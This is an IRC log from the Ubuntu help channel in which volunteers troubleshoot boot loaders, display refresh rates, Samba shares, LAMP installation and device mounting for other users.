Vigo_acke_ubu: You installed WinXP after an Ubuntu install and lost Boot also?12:51
Bluedoghmm shame, the adaptor shows up, but using sudo hidd --search, nothing is returned :/12:51
Bluedogtrying to find my phone12:51
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andycrthey claimed they replaced the mobo last time12:51
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Flannelacke_ubu: no, I mean, that would fix the issue, if you don't mind reinstalling (you have no data on there, or whatever), but it should be fixable, at any rate.  Ive just never seen that error before12:51
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CreteilBULLE: ** (xcdroast:14988): WARNING **: (Invalid lib-directory? Check -l option)12:51
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music___jordan_u u here?12:51
andycrthis time im marking it and putting a program on the logs all logins, so i can see if they did replace it and if they even tested the repair12:51
nn531Im using amarok on an inspiron 6000, how do I configure the buttons on the front of my laptop to work with amarok?12:51
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CreteilBULLE: obviously i have already tested with -l flag ...12:52
andycr(marking the mobo i mean)12:52
BULLECreteil: dunno then to be honest12:52
PirateHeadCan anyone tell me what mailing list / whatever I should contact for help with mouse issues?12:52
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CreteilBULLE: K12:52
BULLECreteil: i always use k3b, because it just works [tm] 12:52
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Janituxis a way to install ubuntu from an usb key ?12:52
acke_ubuVigo_: yes installed winxp after. no i would think ubuntus boot would be on sda4 while my winxp partition would be on sda1 and did replace another winxp on the same partition12:52
Vigo_PirateHead: http://www.ubuntuforums.org/12:53
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Flannel!install | Janitux, instructions here12:53
ubotuJanitux, instructions here: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues12:53
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EnverexErm, when I select "Quit" on the Gnome panel, rather than being given the "Reboot, Suspend, Shutdown, etc" message thing it just logs me out. Any ideas why?12:53
revandoes anyone know of an edgy deb of jahshaka?12:53
Janitux:D12:53
DRMacIverHm. Still can't get this blasted second monitor to work.12:53
CreteilBULLE: i always use xcdroast, because it just works [tm]  too but not under ubuntu herd testing12:53
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music___jordan_u u here?12:54
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kitcheCreteil: if your using feisty go to #ubuntu+1 they can help you out more12:54
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Creteilkitche: thanks i go now12:54
nn531#ubuntu+112:54
jigglingquit12:55
itanshiso, anyone know how to have different backgrounds for each workspace? edgy eft12:55
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Vigo_acke_ubu: I did the same, sorta, wiped XP off and put a stable Win2k on it, niw no Ubuntu boot, I am figureing it is in the BootVolume Manager, prolly just a line of text , I wanted to see if I could fix it without Win anything.12:55
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romano2kBonsoir  tous !12:55
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jinx099Vigo_: you need to reinstall grub with a livecd12:55
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romano2kQuelqu'un saurait-il m'expliquer les ombres sont opaques sur mon Beryl ?12:56
itanshi!france12:56
romano2kOh sorry12:56
ubotuSorry, I don't know anything about france - try searching on http://bots.ubuntulinux.nl/factoids.cgi12:56
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romano2kI start again in french.12:56
romano2kIn english I mean...12:56
itanshienglish yes ^^12:56
romano2k(wrong channel :p)12:56
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kitche!fr12:56
ubotuAllez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.12:56
music__http://paste.ubuntu-nl.org/1231/ http://paste.ubuntu-nl.org/1233/ i need help on making it work on driver "nvidia" wont work with it only driver "nv"12:56
romano2kSo... "Good evening" ! :)12:56
ucordeswhere can i find the config file which includes bluetooth pins? (i can't find it in the wiki/ forums)12:56
Vigo_jinx099: Thank you kindly12:57
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romano2kI have a problem with beryl, shadows are "opaque" on my configuration12:57
jvaihey ppl12:57
ucordeshowdy12:57
ucordesromano2k: /join #beryl12:58
acke_ubuVigo_:  jinx099 :)12:58
kitchemusic__: does the log say error loading nvidia kernel module I can't look at the link since I need to install gpm still12:58
romano2kucordes: okay i'll try there, thank you12:58
Vigo_jinx099: That is kinda what I thought, I didnt want to lose the Xorg config that took me a few hours to get set12:58
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acke_ubui dont know what to do . im totally desperate. having to run win.. im so lost. i miss my talored ubuntu sooo much...12:59
acke_ubutailored_!12:59
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Vigo_LOL12:59
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acke_ubucustomized12:59
DRMacIverSigh. This is one of those depressing scenarios where every site says "Just do Foo and it will work" and it patently doesn't on my machine. Fun.12:59
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jinx099Vigo_: make a backup of your xorg config if you wish, but grub shouldnt touch it12:59
ucordesromano2k: they will help you12:59
snook353x86 or amd64 ubuntu for intel dual core?01:00
kitchesnook353: either one unless you want x86_64 full system01:00
romano2kucordes: they are already helping me :) thank you, have a good evening01:00
EnverexErm, when I select "Quit" on the Gnome panel, rather than being given the "Reboot, Suspend, Shutdown, etc" message thing it just logs me out. Any ideas why? (anyone? Please? I want to go to bed but can't standby, heh)01:00
ucordesi only need to remove my locally saved bluetooth pin but can't find the pin file01:00
ucordesromano2k: thanks, you too01:00
snook353Oh, thanks, kitche01:00
kanzieIf I intend to use Eclipse for Java and PHP development... how is the best way to install it with corresponding views and plugins on a edgy system?01:00
Vluidl01:00
kitcheucordes: you mean pid?01:00
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acke_ubukanzie: using apt-get01:01
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mcphailEnverex: as i recall, these options are lost if you run xgl/compiz (?beryl)01:01
roach_Noob seeks advice - after an Alternate CD install of Ubuntu 6.10 on my AMD64 box, I'd like to make it a LAMP box.  Any thoughts on the best ways to do it?  Is it that hard to download and compile the latest versions of Apache, MySQL, and PHP, or am I much better off sticking with the older versions in the repositories?01:01
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ucordeskitche: i mean the passkey that secures bluetooth connections with 4 numbers01:01
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Enverexmcphail, I'm not01:01
kitchesnook353 if you want a full x86_64 get the amd64 one but not many apps work on it01:01
kitcheucordes: ah check your01:01
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kitcheucordes: sorry about that check ~01:01
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mcphailroach_: use the versions in the repos. The ubuntu setup is well organised and clean01:02
ucordeskitche: ? you kicked me or what01:02
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mnoirroach_: go with the repositories01:02
mcphailroach_: and you get the benefit of automatic security updates01:02
kitcheucordes: what are you talking about oh I said sorry since I hit enter on accident big fingers :P01:03
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acke_ubukanzie: http://ubuntuguide.org/wiki/Ubuntu:Edgy#How_to_install_JRE_v5.0_Update_10, http://ubuntuguide.org/wiki/Ubuntu:Edgy#How_to_install_Java_Integrated_Development_Environment_.28Eclipse.2901:03
ucordeskitche: sry man i quit accidently i think :-) hitting wrong keys too01:03
foutrelisHello. I need your help.. I want to set my monitor @ 72 Hz or 60 Hz, but the damn thing won't go udner 75 Hz. I tried adding stuff to my xorg.conf but the only available option under System -> Preferences -> Screen Resolution is 75 Hz. I am using Ubuntu 6.10 Edgy Eft and my xorg.conf is pasted here: http://pastebin.us/1157301:03
foutrelishelp please :(01:03
acke_ubukanzie: and i dont know nothin bout perl01:04
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Bruco16anyone knows how to do I/O on a mp3 player? (i have the driver's CD, but it's for Windows...)01:04
adaptrfoutrelis: first look up your monitor's exact specs, then fill in the right frequencies in xorg.conf01:04
foutrelisadaptr: done already01:04
adaptrfoutrelis: "adding stuff" is generally considered not the correct way to do ... well, anything, really01:04
roach_mcphail & mnoir: thanks, and good point about the automatic security updates.  next question, since I didn't have the option (with the Alternate CD) of doing a LAMP install straight off, is there a magic button to do it after the fact, or do I just apt-get install (e.g.) "apache2 mysql-server mysql-client php5" (plus whatever)?01:04
ucordeskitche: so you know where i can find the bluetooth pin?01:05
adaptrfoutrelis: pertinent help begs accurate information01:05
kitcheucordes: check ~ it might be hidden folder01:05
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mnoir!lamp | roach_ have you looked here ?01:05
uboturoach_ have you looked here ?: LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)01:05
foutrelisadaptr: I added stuff under Section "Monitor"01:05
paradoxxgnomebaker!01:05
acke_ubui think i scared kanzie away01:05
foutrelisadaptr: nothing anyware else01:05
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paradoxx!gnomebaker01:05
PirateHeadUbuntu frequently "drops" my USB mouse on my Ubuntu Edgy laptop. I boot up and it's fine, it's recognized and it works, then reliably within 20 minutes my mouse stops working. My laptop's track-pad still works, but my USB mouse does not. Unplugging it and plugging it back in never works; rebooting the comptuer always restores the mouse. Can anyone help me?01:05
foutrelis*anywhere01:05
ubotugnomebaker: application for CD/DVD creation in the GNOME desktop. In component universe, is optional. Version 0.6.0-0ubuntu2 (edgy), package size 991 kB, installed size 2964 kB01:05
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mcphailroach_: i just apt-get what i need01:06
adaptrfoutrelis: sigh.... *what* stuff, what did you add, how did it work, what was the result, etc. etc. etc.01:06
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salinuxwhat is the easiest way to build a *.deb package from source01:06
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foutrelisok don't accuse me of flooding though01:07
foutrelis    HorizSync      30-8301:07
foutrelis    VertRefresh    56-7501:07
kitchesalinux: checkinstall01:07
mnoirsalinux: use checkinstall01:07
foutrelisand01:07
foutrelis   # V-freq: 60.00 Hz  // h-freq: 63.73 KHz01:07
foutrelis   Modeline "1280x1024" 109.62  1280 1336 1472 1720  1024 1024 1026 106201:07
foutrelis   # V-freq: 70.00 Hz  // h-freq: 74.82 KHz01:07
foutrelis   Modeline "1280x1024" 137.07  1280 1352 1520 1832  1024 1024 1027 106801:07
foutrelis   # V-freq: 72.00 Hz  // h-freq: 77.06 KHz01:07
foutrelis   Modeline "1280x1024" 143.02  1280 1352 1528 1856  1024 1024 1027 107001:07
crotsalinux: depends on the source01:07
foutrelis   # V-freq: 75.00 Hz  // h-freq: 80.42 KHz01:07
foutrelis   Modeline "1280x1024" 151.83  1280 1360 1544 1888  1024 1024 1027 107201:07
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mnoir!flood01:07
ubotupastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)01:07
pr3d4t0rfoutrelis: Please use a pastebin.01:07
crotif it's debianised source then you can just do debian/rules binary01:07
roach_mnoir - cool, thanks!!  next question is, that page seems to refer (mostly? entirely?) to LAMP on Breezy and/or Dapper.  Anyone know if there's anything severely out-of-date if I'm following those instructions on Edgy?01:07
foutrelisI did01:07
foutrelisbut noone care to look at it01:07
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adaptrfoutrelis: please don't flood - use a paste site01:07
salinuxcrot: how com?01:07
pr3d4t0rfoutrelis: An op may declare you persona non grata for flooding, though.01:08
foutrelisadaptr: I did..01:08
adaptrfoutrelis: that tends to happen if you never mention it01:08
pr3d4t0rfoutrelis: Be patient.  If someone knows the answer, they'll reply.01:08
pr3d4t0rfoutrelis: If not, ask again a few minutes later.01:08
mnoirroach_: it should be the same, just go slow and verify, ask  questions.  it ain't that hard - actually only 34 packages that need to be correctly configged01:08
mnoir34=4 !!01:08
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salinux<kitche> <mnoir> thank you01:08
mnoirsorry :)01:08
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foutrelisok don't ask me to be exact about what changes i did then..01:08
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pr3d4t0rfoutrelis: http://www.catb.org/~esr/faqs/smart-questions.html - check this out too.01:08
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juanofoutrelis: what seems to be the problem?01:09
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cruel_dogdoes anyone knows how to enable/disable the graphical login mode ROOT ?01:09
foutrelispr3d4t0r: If you see my question above I think it is clear what my problem is01:09
Hanselcruel_dog - you can change the INIT level....01:09
capiirahmmm anyone know a way to speedup ubuntu edgy shutdown ? the shutdown loadbar becomes empty and the system still don't reboot :/01:09
adaptrcruel_dog: you mean from the gdm login menu ?01:09
Hanselcruel_dog - you just want to go straight to console when you boot then startx if you want to get into X?01:09
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ublender!beryl01:09
ubotuBeryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl01:09
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ublenderoooo01:09
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roach_sweet!  thanks so much for the help!!!  okay, ONE last question.  Is Webmin truly evil, or is it a good learning tool (stepping stone) for a relative noob like myself, until I get more comfortable tweaking my LAMP config by hand?  I notice Webmin isn't in the repos...01:10
adaptroh yes - very shiny01:10
cruel_doglike, you csan graphiquely login with root. i must disable, how you do that? i know you can enable so you can login graphiqly with root01:10
Hanselroach_,  - I think webmin is all around awful personally...01:10
adaptrcruel_dog: well, if you did not enable it then it is not enabled, is it ?01:10
cruel_dogit is01:10
kitcheroach_: webmin is bad but it seems to be dead anyways now01:10
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adaptrHansel: roach_ not to mention pretty insecure01:10
cruel_dogi want to disable, but my friend's is disabled, and he must enable01:10
mnoirroach_: the fact than webmin was dropped might be a message01:10
foutrelisI ll ask again.. I hope you don't mind01:10
mcphailroach_: the apache config files are well documented. Better to browse through them than use any other tools01:11
adaptrcruel_dog: look in /etc/gdm/gdm.conf01:11
roach_alright, it looks like I'm gonna just learn to edit .htaccess and httpd.conf by hand, then.  :)  :)01:11
cruel_dogkk01:11
cruel_dogty01:11
kitcheroach_: there is a tool to do .htaccess01:11
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foutrelisHello. I need your help.. I want to set my monitor @ 72 Hz or 60 Hz, but the damn thing won't go udner 75 Hz. I tried adding stuff to my xorg.conf (under the Monitor Section only) but the only available option under System -> Preferences -> Screen Resolution is 75 Hz. I am using Ubuntu 6.10 Edgy Eft and my xorg.conf is pasted here: http://pastebin.us/1157301:11
Hanselroach_ - learning to do things by hand is the best learning experience and once you get it all figured out you can get a job too  :)01:11
adaptrroach_: also, I have never yet trusted webmin to change my config files.. it tends to screw them around in unpredicatble ways01:11
roach_how about phpmyadmin?  also a dog, or a reasonable tool?01:11
HanselUsing GUI tools is the way of the MCSE (Must Consult Somebody Else)01:11
foutrelisI hope it is clear this time :_01:11
foutrelis:)01:11
EnverexErm, when I select "Quit" on the Gnome panel, rather than being given the "Reboot, Suspend, Shutdown, etc" message thing it just logs me out. Any ideas why? (anyone? Please? I want to go to bed but can't standby, heh)01:11
mnoirroach_: one warning - the #apache group is good but they have an invalid dislike for debian style configs01:11
Hanselroach_ phpmyadmin is better but still...01:11
juanowhy do i have 2 identical entries for my procesor in cat /proc/cpuinfo?01:12
mcphailroach_: phpmyadmin is fine, but you should set up a secure mysql setup from the command line first01:12
adaptrfoutrelis: yes.. same question as before.. now please paste your xorg.conf somewhere and post a link to it01:12
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roach_Hansel: good points.01:12
HanselEnverex - sudo shutdown -h now01:12
kitcheadaptr: he did pastebin it01:12
ublenderjuanp: this is just a guess, dual core cpu?01:12
puffclearzen: Btw, many many thanks for your help the other night.01:12
BULLEjuano: because to the os it looks like two01:12
kitcheadaptr: look at his question at the end01:12
adaptrkitche: okay, sorry - itw as so long...01:12
foutrelisadaptr: I did and I have a link in my question.. Are you blind damit?01:12
EnverexHansel, I know how to shut down...01:12
adaptr!language | foutrelis01:12
ubotufoutrelis: Please watch your language and keep this channel family friendly.01:12
roach_mcphail:  Yup, that's the first thing I do.  I'm a noob, but not that noo.01:12
NameeaterI installed a broken package  and I now get E: I wasn't able to locate file for the fax2850lpr package. This might mean you need to manually fix this package.  as an error in aptitude, how can I fix the broken package?01:12
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foutrelisBut there is a link and you are asking me to provide one01:13
HanselEnverex - well until you find an answer to your other question that will be your workaround.  I personally dunno what happened or how to fix it  heh.01:13
mcphailroach_: debian-administration.org is a good resource01:13
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juanoublender: umm nope, no dual core here, Intel(R) Pentium(R) 4 CPU 3.00GHz01:13
Bruco16anyone knows how to do I/O on a mp3 player? (i have the driver's CD, but it's for Windows...)01:13
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EnverexHansel, So that'll put my machine in STR standby mode will it?01:13
adaptrfoutrelis: Section Monitor, HorizSync and VertRefresh - those are the values that must match your monitor's real specs01:13
kitchejuano: HT looks liek a dual core01:13
BULLEjuano: its hyperthreading01:13
ublenderjuano: ok, like I said, it was just a guess. :)01:13
Hanselshutdown -h = halt = shutdown.            -r = reboot01:13
foutrelisadaptr: yes :)01:13
adaptrfoutrelis: they *must* match for Xorg to be able to offer you sensible refresh rates01:14
pr3d4t0rBULLE!!!01:14
dougskoBruco16: plug it in, then type, 'dmesg' to see what the name of the device is01:14
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juanokitche: ohh i see, cause in win i have the same issue01:14
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claygIF you guys were setting up a file server strictly to share files to windows and linux machines, would you create a user, then a subdirectory of it, or is it safe to create a directory one level off of root and give it permissions?01:14
music___http://paste.ubuntu-nl.org/1243/ and http://paste.ubuntu-nl.org/1244/01:14
juanoublender: yep :)01:14
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adaptrfoutrelis: and if the modes you require are not in xorg's default set, you'll have to write modelines for them - there are sites to help with this, but I've never needed it yet, AFAIK it's only necessary when you wasnt some weird or old interlaced modes01:14
dougskoBruco16: itll be something like, sda. so then you type 'sudo mount /dev/sda /path/to/mount'01:15
pr3d4t0rclayg: Creating a directory off anything should be safe if you set the permissions correctly.01:15
Hanselclayg - I'd create a /usr/share/c_drive folder or something  :)01:15
mnoirclayg: no real difference - shared stuff belongs in /usr anyway01:15
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adaptrclayg: mount it under /media or /mnt01:15
music_http://paste.ubuntu-nl.org/1243/ and http://paste.ubuntu-nl.org/1244/01:15
ampexwow, huge channel01:15
ublenderomg, magic lamp beryl effect is awesome.01:15
juanoclayg: pr3d4t0r is right01:15
Hanselwilkomen ampex   :)01:15
Bruco16thx01:15
pr3d4t0rclayg: Remember that UNIX restrictions supercede Samba restrictions, though.01:15
Vigo_clayg: I personally would create a user account, just old school01:15
foutrelisadaptr: I have also added lines like [Modeline "1280x1024" 109.62  1280 1336 1472 1720  1024 1024 1026 1062]  created by an online generator but still no luck01:15
pr3d4t0rclayg: Also, ensure that your umask for Samba doesn't accidentally assign a +x to things that it shouldn't.01:16
Hanselublender,  - that is nice that you are impressed with the beryl window manager... however, unless you have a question please take it to #ubuntu-offtopic01:16
mnoirstill belongs in /usr01:16
roach_mcphail:  thanks for that tip.01:16
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adaptrclayg: create an unprivileged user account to own the samba data; I'd not let it be owned by the samab user01:16
dougskoBruco16: if sda, or sde or whatever dont work, you might have to make it something like /dev/sda1 (notice the 1)01:16
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music_http://paste.ubuntu-nl.org/1243/ and http://paste.ubuntu-nl.org/1244/01:16
music_please any one01:16
adaptrfoutrelis: and if you do not ? just use the default modelines/modes ?01:16
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ublenderHansel: thx, I didn't know this was only a support channel, maybe I should read the topic next time :P01:16
juanoVigo_: what would be exact command to create user in samba? smb adduser...?01:16
Bruco16dougsko: i can mount the device (it's automounted), but I get an I/O error (probably due to a missing driver??01:16
pr3d4t0rclayg: Set Samba's umask for directories at 755 at most, and 644 at most for flies.01:16
pr3d4t0rEr, files.01:16
adaptrflies sounds right01:17
_M4LD|T0_OUThi.. can anyone help me? i am setting up a personal webserver. my problem is, my ubuntu server is not visible from the outside only when my server doesnot have an outgoing transaction.. any idea?01:17
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dougskoBruco16: type 'mount' and see what kind of filesystem it has01:17
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pr3d4t0radaptr: HeH.01:17
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foutrelis_M4LD|T0_OUT: firewall?01:17
Hanselmusic - looks like you need to add a screens section to your X config...01:17
juanopr3d4t0r:  what would be exact command to create user in samba? smb adduser...?01:17
music_how01:17
pr3d4t0rjuano: smbpasswd -a01:17
foutrelisadaptr: After installing Ubuntu and the Nvidia driver the only available refresh rate was 75 Hz01:17
adaptr_M4LD|T0_OUT: you need to to map a port to the inside, from your internet connection01:17
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_M4LD|T0_OUTfoutrelis, firewall is off01:17
music_how01:17
adaptrfoutrelis: and you didenter your monitor's frequencies correctly ?01:18
pr3d4t0rjuano: man smbpasswd will give you better answers than me :)01:18
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juanopr3d4t0r: ok thx01:18
_M4LD|T0_OUTadaptr, how?01:18
Hanselmusic_ man xorg.conf01:18
mcphailroach_: be aware of the "a2enmod", "a2dismod", "a2ensite" and "a2dissite" commands. Also /etc/init.d/apache2 start/stop/whatever. Ubuntu/debian makes apache quite easy01:18
juanopr3d4t0r: great.. thanks01:18
music_its open01:18
pr3d4t0rjuano: Samba set up is something I play with once a year... and that's in my future for 2007.  I was playing with BIND today :)01:18
adaptrfoutrelis: that is either a *very* old monitor, or an LCD screen01:18
pr3d4t0rjuano: There is a free O'Reilly book about Samba.  Let me see if I can find the URL for it.01:18
foutrelisadaptr: These frequencies are the official frequencies of my monitor.. LCD01:18
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pr3d4t0rjuano: It's the whole book... and invaluable resource.  Stand by.01:19
claygman this is pissing me off01:19
Vigo_Yes, in Samba, add usr, there is an easier way...looking at the M01:19
juanopr3d4t0r: that would be neat :)01:19
claygI got the thing set up, followed the guide01:19
adaptr_M4LD|T0_OUT: *how* ? erm... learn networking, NAT/PAT, basic CE.. about 6 months should do it01:19
wi-fu____Using Senao Radio with 18db antenna (i think) going over two residential zones about 15km max to antenna tower wifi repeater on hill. Getting major dropout on connection.. Connection works after reconnect as if it gets a signal "boost" this lasts for about 20 - 30 seconds and then drops out .. the connection will sometimes pick up again on its own and run for up to a few hours allowing  big...01:19
wi-fu____...downloads of things like video files etc.. connection uses senao radio 802.11b running Power over Ethernet from roof.. radio is on roof attatched to pole directly under antenna .. running windows XP SP2 .. protocol is PPPOE .. Contention ratio on network is 25:1 .. speed is 64kbps  .. does anyone have any ideas on a solution fro the dropout problem?01:19
foutrelisadaptr: What's up with LCDs? :P01:19
clayganyhow i can call it up from windows (it's a ubuntu "server")01:19
music_Hansel its open and add what?01:19
pr3d4t0rjuano: http://www.faqs.org/docs/samba/toc.html01:19
clayganyhow if i call it from \\rome01:19
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Hanselmusic_,  - I didn't say edit it... I said            man xorg.conf01:19
adaptrfoutrelis: well, then you should not even bother with that, since refresh is all but irrelevant to an LCD screen, yes ?01:19
claygwhich is the server name, i can see the directory/share which is called "jackpot"01:19
music_man xorg.conf?01:19
Hanselman = manpage = manual page = instructions on how to configure things01:19
pr3d4t0rjuano: The book is a bit out of date but with it and your current Samba's man pages you'll be set.01:20
TLEhey I have a problem where sometimes firefox won't start. This time I noticed that if I open it in a fresh terminal that this process is present in the ps table: netstat <defunct>    Could that be significant ?01:20
music_?01:20
Hanselmusic_,  - yes...01:20
claygi click it and it brings a password dialog up and i input it , the username and samba name (same) are "share"01:20
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Bruco16dougsko: it's usbfs01:20
juanopr3d4t0r: you rock! :)01:20
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adaptrfoutrelis: but you may have to google some on that, and FGS disable DDC if it's anywhere in there01:20
pr3d4t0rjuano: :: blush ::01:20
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clayganyhow, i put share as the username and the password in and it reflashes it and this time says \rome\jackpot01:20
claygas the username and i try to put the password again, still didn't work01:20
Akuma_what do i have to look for if i want to access windows shares over a LAN?01:20
claygI'll read the link now pred, good looking out01:20
Hansel\rome or \home?01:20
foutrelisadaptr: When running at 75 Hz I see small waves at bright colors. At 72 Hz there is not such problem01:21
claygrome01:21
pr3d4t0rjuano: Good luck.  I'll be back in an hour, or you can find me in ##java, #awk, or #esb.  I some times don't see calls here because the channel scrolls by too quickly.01:21
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adaptrAkuma_: places -> connect to network server01:21
mnoir!ntfs | Akuma_  have you looked here01:21
ubotuAkuma_  have you looked here: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse01:21
juanopr3d4t0r: at last a good windows client section01:21
dougskoBruco16: i would reformat it fat3201:21
pr3d4t0rjuano: Ping me later if you have further questions in any of those channels, then we can continue the conversation here.01:21
foutrelisadaptr: Is there a command to change the refresh rate?01:21
adaptrfoutrelis: still not relevant - is DDC enabled or not ?01:21
juanopr3d4t0r: ok ill be here, ill join those channels01:21
Dheeraj_kfeisty is in alpha or beta?01:21
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mnoirAkuma_: sorry - you need samba not that link :)01:21
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adaptrfoutrelis: the refresh rate is a combination of the sync rate and the pixel clock; you cannot influence it directly01:21
mnoir!feisty | Dheeraj_k01:21
ubotuDheeraj_k: The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. At the moment it is alpha. Schedule: https://wiki.ubuntu.com/FeistyReleaseSchedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help in #ubuntu+101:21
claygsomone suggested freenas01:21
clayganyone use that?01:21
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Akuma_mnoir: actually, isn't samba for the opposite? to act as a server for a windows client?01:22
music__omg01:22
claygand can i just go NFS the whole way?01:22
music__Hansel what do i need to do?01:22
Bruco16dougsko ^^ ^^01:22
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old-monkAkuma_: both01:22
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clayginstead of smb/samba? will xp be able to reach it?01:22
foutrelisadaptr: DDC.. How can I see if it is enabled?01:22
dougskoBruco16: what?01:22
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Akuma_adaptr: i did go there, but it doesnt work. there must be something that isnt configured properly - which is what im looking for01:22
adaptrfoutrelis: in your xorg.conf - it's a module01:22
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foutrelisok let me check01:23
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adaptrAkuma_: did not work is not very clear01:23
mnoirAkuma_: forget about direction or who is client - to see win shares over the net, samba is usually the tool of choice01:23
jedrickneed help im trying to update my source list but i got this error.. "Failed to fetch http://archive.ubuntu.com/ubuntu/dists/dapper/main/binary-i386/Packages.gz  Sub-process gzip returned an error code (1)" "W: Couldn't stat source package list http://archive.ubuntu.com dapper/main Packages (/var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_dapper_main_binary-i386_Packages) - stat (2 No such file or directory)" wy is that?01:23
foutrelisadaptr: It is01:23
adaptr(which is a euphemism for "totally not clear")01:23
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xopher_clayg, why not just use eg. winscp to access your box from xp via ssh? (scp) Its easy, fast, secure.01:23
foutrelisadaptr: Shall I comment is out?01:23
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adaptrfoutrelis: well, DDC gets its settings wrong about half the time - and 9 times out of ten for LCDs01:23
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Akuma_adaptr: "can't display smb:///mshome the location is not a folder"01:24
foutrelisadaptr: :)01:24
jedrickanyone?01:24
foutrelisadaptr: So I disable it and restart X?01:24
shr3ya5can anyone tell me how i can set my resolution to 1152x864?01:24
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shr3ya5its not being listed01:24
adaptrfoutrelis: my screens refuse to go above 85 when I enable DDC - just switching it off and restarting X with the proper frequencies inserted lets me choose from 50 to 120 Hz - as it should01:24
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mnoirjedrick: if the link is correct, this sometimes happens due to business01:24
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foutrelisadaptr: 120 Hz.. wow :P01:24
dougskoBruco16: something like 'mkfs -t msdos /dev/sde'01:24
Akuma_mnoir: and all it needs to know is in /etc/samba/smb.conf?01:24
jedrickmnoir, what you mean?01:25
music__Hansel what do i need to do?01:25
jedrickim just new to linux :)01:25
adaptrfoutrelis: yes, some old Compaq 19" flatscreens, pretty nice screens for 50 bucks each :)01:25
Hanselmusic_ - other than read?01:25
music__i dunno01:25
foutrelisadaptr: yea :)01:25
foutrelisbrb01:25
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mnoirjedrick: i mean that the error you got can be due to a busy server - does it happen all the time?01:25
adaptrAkuma_: you do not need to configure samba for client functionality01:25
adaptrAkuma_: you can try it manually to see if the libraries are all present01:26
Akuma_adaptr: try it manually?01:26
mnoirAkuma_: afaik the total smb config is in that one file, yes01:26
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jedrickmnoir, nope.. i just got my ubuntu connect to internet, so this is my first time.. is this normal? can i do the update again later?01:26
adaptrAkuma_: smbmount //servername/share /mnt/<something>l remember to create the <something> directory first01:26
Mba7ethhi everyone01:26
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adaptrmnoir: smb.conf/samba server has nothing whatsoever to do with the *in-kernel* client support for SMB filesystems01:27
Mba7ethguys how can i player 2 mp3 at the same time using diffrent applications01:27
Mba7eth?01:27
Camdenhow would i get started if i want to get involved in ubuntu development?01:27
adaptr!dev01:27
ubotuSorry, I don't know anything about dev - try searching on http://bots.ubuntulinux.nl/factoids.cgi01:27
mnoiradaptr: sorry - I wasn't paying attention :)01:27
adaptr!development01:27
ubotuSorry, I don't know anything about development - try searching on http://bots.ubuntulinux.nl/factoids.cgi01:27
adaptrsjeesh01:27
Camden!development01:28
ubotuSorry, I don't know anything about development - try searching on http://bots.ubuntulinux.nl/factoids.cgi01:28
adaptrwell, there' sure to be a #ubuntu-dev01:28
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Camdenwhat do you mean by that?01:28
hakrzcode!essential_build01:28
ubotuSorry, I don't know anything about essential_build - try searching on http://bots.ubuntulinux.nl/factoids.cgi01:28
GigaClon!build_essential01:28
hangfirecamden- http://www.ubuntu.com/developers01:28
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Camdenthe ! is to ask bots questions?01:28
ubotuSorry, I don't know anything about build_essential - try searching on http://bots.ubuntulinux.nl/factoids.cgi01:28
GigaClon!build essential01:28
jedrickmnoir, nope.. i just got my ubuntu connect to internet, so this is my first time.. is this normal? can i do the update again later?01:28
ubotuSorry, I don't know anything about build essential - try searching on http://bots.ubuntulinux.nl/factoids.cgi01:28
hakrzcode!build-essential | Camden01:29
ubotuCamden: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)01:29
mnoirjedrick: yes - I have not seen them busy for a very long time - do check that the uri is correct though01:29
GigaClonCamden, check ubuntu.com for details on how to help01:29
tommy1987is there a way in Linux to search for all connected hosts on a local network, or all hosts it can see on the LAN?01:29
Camdenthat's funny .... i can't click on links in XChat01:29
Camdennothing happens01:29
mnoirjedrick: uuh - normal no, happens sometimes yes01:29
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hakrzcodeCamden, no clicking is for your safety. If you want to follow links, then right click, and open in browser.01:30
rkvwats the root pass on a ubuntu livecd01:30
Camdeni tried that too01:30
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Camdenmaybe something in ff is not set right01:30
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adaptrrkv: there is none - you are root already01:30
mnoirtommy1987: places -> network servers ?01:30
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hakrzcodeCamden, it opens Galeon in mine.01:31
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hakrzcodeI believe that it is hard coded. Because it annoys the hell out of me, since I use firefox.01:31
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rkvadaptr: when i try mount \dev\sda  \mnt\hd1 its says u "mount: only root can do that"01:31
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foutrelisadaptr: still no luck :'(01:31
adaptrrkv: then use sudo01:31
Camdenxchat doesn't seem to  have a setting for that01:31
hakrzcoderkv, when in doubt, sudo..01:32
Camdenanyway... checking the page01:32
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gyaresurkv 'sudo mount /dev/sda1 /mnt/somewhere -o uid=1000,gid=1000'01:32
gyaresurkv that'll make it writeable by your user01:32
rkvk01:32
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oidiaim getting "Failed to setup dm-crypt key mapping." when "cryptsetup luksFormat /dev/hda6"01:32
mnoirtommy1987: actually network servers does not show you everybody on the lan01:33
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Camdenhmm apparently there is an #ubuntu-devel01:33
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Vigo__cmnd = Wprld Ping oir somesuch argument would be fun!01:34
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ScabdatesI'm having some trouble with ubuntu (the newest release)01:35
Vigo__Scab-dates: Wich version?01:36
rkvwhen iswitched by system to be in RAID 0 mode whenever i try to install windows(which i'm tryin to install first) i keep getting a Grub loading error 21 and it doesnt even boot the windows cd only this ubuntu livecd works any idea why?01:36
Scabdates6.1001:36
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mnoirtommy1987: the command line tool is nmap - it is complex - man nmap to learn how to use01:36
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Vigo__Scabdates: Server?01:36
gyaresurkv that's a problem with the Windows CD01:36
ScabdatesHome01:37
Vigo__Scabdates: What is the error?01:37
Camdenhmmm rosetta sounds interesting01:37
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Camdeni hadn't heard of that01:37
